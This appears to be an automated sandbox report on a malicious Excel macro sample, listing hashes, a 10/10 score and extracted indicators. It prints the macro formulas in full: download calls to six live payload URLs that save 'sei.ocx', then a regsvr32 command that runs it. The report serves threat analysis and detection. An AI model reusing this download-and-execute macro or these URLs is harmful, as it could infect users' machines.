General
-
Target
83d9735e5375906cbb6adf6e1ac9e2992700fe59b99887c6f2ce65d9a85088f4
-
Size
46KB
-
Sample
241120-gcp7vaxjdk
-
MD5
7a9b502cb0f41702c1f4aca85a3beabc
-
SHA1
921b7b1be28e4beec725f6a824460ea3fc5f58d5
-
SHA256
83d9735e5375906cbb6adf6e1ac9e2992700fe59b99887c6f2ce65d9a85088f4
-
SHA512
1f6a26e8a28db4969eed98546f233038e4be9e26ecf5214b19fdd4da91cb7d4da6ae7cc8cfc072d6324b61c70097a6b261e03c8f29582aa9e2c99c62c0145505
-
SSDEEP
768:H1m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:H1HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu
Malware Config
Extracted
http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/
http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/
http://www.floresguitarinstruction.com/wp-admin/jWlCX/
http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/
http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/
https://chera.co.kr/wp-includes/i2nnUkDXZ/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.floresguitarinstruction.com/wp-admin/jWlCX/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chera.co.kr/wp-includes/i2nnUkDXZ/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()
Extracted
http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/
http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/
http://www.floresguitarinstruction.com/wp-admin/jWlCX/
http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/
http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/
Targets
-
-
Target
83d9735e5375906cbb6adf6e1ac9e2992700fe59b99887c6f2ce65d9a85088f4
-
Size
46KB
-
MD5
7a9b502cb0f41702c1f4aca85a3beabc
-
SHA1
921b7b1be28e4beec725f6a824460ea3fc5f58d5
-
SHA256
83d9735e5375906cbb6adf6e1ac9e2992700fe59b99887c6f2ce65d9a85088f4
-
SHA512
1f6a26e8a28db4969eed98546f233038e4be9e26ecf5214b19fdd4da91cb7d4da6ae7cc8cfc072d6324b61c70097a6b261e03c8f29582aa9e2c99c62c0145505
-
SSDEEP
768:H1m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:H1HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-